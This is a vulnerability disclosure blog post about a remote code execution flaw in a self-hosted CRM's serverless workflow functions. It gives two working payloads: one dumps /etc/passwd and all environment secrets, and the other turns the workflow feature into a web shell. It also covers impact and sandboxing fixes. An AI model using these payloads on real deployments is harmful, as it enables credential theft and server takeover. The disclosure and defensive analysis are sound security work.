From Learning to Root: How I Found a Remote Code Execution Vulnerability in Twenty CRM
Code reviews and web application security aren’t exactly my wheelhouse. I wanted to change that, so I challenged myself to audit open-source codebases and look for potential security gaps.
I chose Twenty, a popular open-source CRM with over 38,000 stars on GitHub. While exploring their serverless module implementation, I came across a file that immediately caught my eye: packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts. Even with my limited experience, it was apparent that user-supplied code was being compiled and executed in-process on the host without any sandboxing, namespace isolation, or syscall filtering. I decided to test my theory.
What is the Vulnerability?
The vulnerability is an RCE flaw in Twenty’s “Workflow > Serverless Functions” feature. Any user with access to the workflow builder can write and execute arbitrary Node.js code that runs directly in the server’s process context — outside any container, VM, or sandbox boundary.
The attack surface is accessible to anyone who can create a workflow. From the action picker, the “Code - Serverless Function” option is listed as a first-class core action alongside innocuous operations like sending email or querying records:
The root cause lives in local.driver.ts, which handles function execution for self-hosted deployments. Unlike the cloud version, which delegates execution to AWS Lambda (providing hardware-level tenant isolation), the local driver transpiles user code with esbuild and executes it using a standard Node.js require() call within the main server process. There is no vm module sandboxing, no seccomp profile, no chroot, and no capability dropping, therefore the user code inherits the full privileges of the Node.js server process.
Following disclosure, Twenty updated the driver with an explicit warning comment:
// WARNING: This driver is UNSAFE and should only be used for development.
// It executes arbitrary Python code on the server without any sandboxing.
That said, a comment is only visible to someone reading the source. The underlying execution model remains unchanged, and nothing prevents a user from enabling this feature in a production deployment without realizing the implications.
How Does it Work?
1. Initial Reconnaissance via Environment Variable Exfiltration
My first payload used Node’s built-in child_process.execSync to read /etc/passwd and dump the process’s environment variables. Because the serverless function runs in the same process space as the server, process.env is directly accessible and contains all secrets loaded at startup.
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
const output = execSync('cat /etc/passwd').toString();
const secrets = JSON.stringify(process.env);
return { data: output, secrets: secrets };
} catch (e: any) {
return { error: e.message };
}
};
Here’s the payload loaded directly into Twenty’s serverless function editor:
The response:
The response returned the full /etc/passwd file and the serialized environment, including PG_DATABASE_URL (the Postgres connection string with credentials), APP_SECRET (the JWT signing key), REDIS_URL, and any third-party API keys configured on the instance. With the JWT signing secret exposed, an attacker could additionally forge authentication tokens for any workspace user.
2. Turning the Workflow Builder into a Web Shell
The workflow feature supports runtime input parameters, which makes it trivial to turn the exploit dynamic rather than hardcoded. The following payload accepts an arbitrary shell command as a parameter and returns its stdout, effectively turning the workflow executor into an interactive shell:
import { execSync } from 'child_process';
export const main = async (params: { command: string }): Promise<object> => {
try {
const output = execSync(params.command, {
encoding: 'utf-8',
stdio: ['ignore', 'pipe', 'pipe'],
});
return { data: output };
} catch (e: any) {
return { error: e.message };
}
};
The payload in the editor, with a ping command supplied as the runtime command parameter:
The output — a successful ping response returned directly through the workflow test panel:
At this point, an attacker has an interactive command execution primitive running as the node OS user, scoped to whatever container or host is running the server process.
What’s the Impact?
For self-hosted deployments, the blast radius is significant.
Credential theft: process.env exposes database connection strings, JWT secrets, S3 credentials, SMTP passwords, and any other secrets present in the deployment environment at startup. With the Postgres URL in hand, an attacker can exfiltrate or modify the entire CRM database directly.
Token forgery: The APP_SECRET value is the HMAC key used to sign JWTs. With it, an attacker can mint valid authentication tokens for any user account, including workspace admins, without knowing any passwords.
Lateral movement: The Node.js process typically has network access within the deployment’s private subnet alongside the Postgres and Redis containers. An attacker can pivot to those services directly using the extracted credentials.
Persistence: Without filesystem restrictions, an attacker can write cron jobs, modify startup scripts, or install backdoors. execSync can also be used to exfiltrate data over the network, establish reverse shells, or download and execute secondary payloads.
It’s worth noting that Twenty has confirmed this only affects local/self-hosted installs. Their cloud (multi-tenant) offering runs serverless functions on AWS Lambda with proper isolation. The vulnerability is a consequence of the local driver being a convenience shortcut rather than a security-hardened execution environment.
What Can Be Done?
A proper fix requires architectural changes to the local driver, not just documentation:
Process isolation: User functions should be forked into a separate child process via child_process.fork or worker_threads, running under a restricted OS user with no network access and a minimal filesystem view.
Runtime sandboxing: Node’s built-in vm module offers a lightweight code isolation layer. For stronger guarantees, tools like isolated-vm or quickjs-emscripten provide V8 isolates that can’t access the host’s require() or process.env.
OS-level containment: On Linux, wrapping function execution with seccomp-bpf profiles or running inside a microVM (e.g., Firecracker) would prevent syscalls like execve that enable shell command execution entirely.
Secret isolation: At minimum, environment variables containing credentials should be stripped from the execution context before user code runs, even before the above sandboxing work is complete.
Conclusion
This was an incredibly rewarding learning experience and a great reminder that meaningful security vulnerabilities can be found even by those newer to code review. The vulnerability is a straightforward but impactful case of missing defense-in-depth: a code execution feature with no isolation boundary between user-supplied code and the host environment. If you’re self-hosting Twenty, restrict workflow creation permissions to fully trusted users, and treat your deployment’s environment variables as potentially exposed if any untrusted party has had access to the workflow builder.
The full PoC code referenced in this post is available at Github repo.